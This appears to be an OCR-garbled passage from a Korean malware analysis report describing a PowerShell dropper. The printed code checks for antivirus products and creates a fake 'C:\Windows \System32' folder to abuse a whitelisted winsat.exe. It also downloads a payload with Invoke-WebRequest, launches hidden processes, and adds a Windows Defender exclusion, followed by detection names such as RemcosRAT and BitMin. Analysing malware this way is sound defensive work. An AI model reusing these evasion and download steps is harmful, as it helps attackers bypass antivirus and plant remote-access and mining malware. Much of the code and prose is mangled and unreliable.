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erPath = , .2pecialFoldaer,
folderPath + "##Chrs":
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Scomputern Senv: computernams ;
2 SAntiVirusProducts = Get-WmiObject -Namespace "root)\SecurityCenterZ”™ -Class AntiVirusFroduct
Sdetected =
foreach (§AntiVirusProduct in $AntiVirusProducts)
=k

if ($AntiVirusProduct.displayName -ne "Windows Defender™)
= {
8 # no exploit normal run
g Sdetected =
e }
AN -}

if (§detected -eq 0)
=R

Item ' HAN | stem32' -ItemIype Directory
Location -Pa:ﬁ ! : ] yatem32'

v C: \qudows\S;scer32\N1“SAT exe "C:'\1

I"vcke ~WebRequest -Uri 'htrr 3 zomusa.
Start-Process -WindowStyle *1dden Fllepath 'C:\windows

7121 4) 2% URLOIA L2 obxls mholal AT Ris
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New-Item "\\?\C:\Windows \System32" -ItemType Directory

EEZHE X|&3H= ‘Mock(7tRt2]) Directory’ 7} 2|0|5tH= Hb= 20t 2Ot ST HHE=
CEEZ}0o|E Windows 51| ZE{ 0] System32 Z2CE Hdst= HMEXE E0[X|E 7(H\Iﬁl

EH ™ ‘Windows’ ZC{7} ofL|2} F|of| Z2tH(Space)0| 5t} =X|5t= ‘Windows  Z Ol HE
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Ch= & ol&eh Aol

—ComputerName Scomputername;
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ot 2 AliSH= LH 0| =X} SICH 2= A|AE] HIIE= 391 winsat.exe = AIS Whitelist I}
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powershell.exe -windowstyle hidden -NoProfile -ExecutionPolicy bypass -Command $mydir
= [System.Environment]::GetFolderPath('CommonApplicationData');

$bitdir = '\Chrimaz';

$fulldir = $mydir+$bitdir; Add-MpPreference -ExclusionPath $fulldir;
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Trojan/Win.MSIL.R472890
Trojan/Win.BitMin.C4970105
Downloader/PowerShell.Generic
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Trojan/Win.RemcosRAT.R475423
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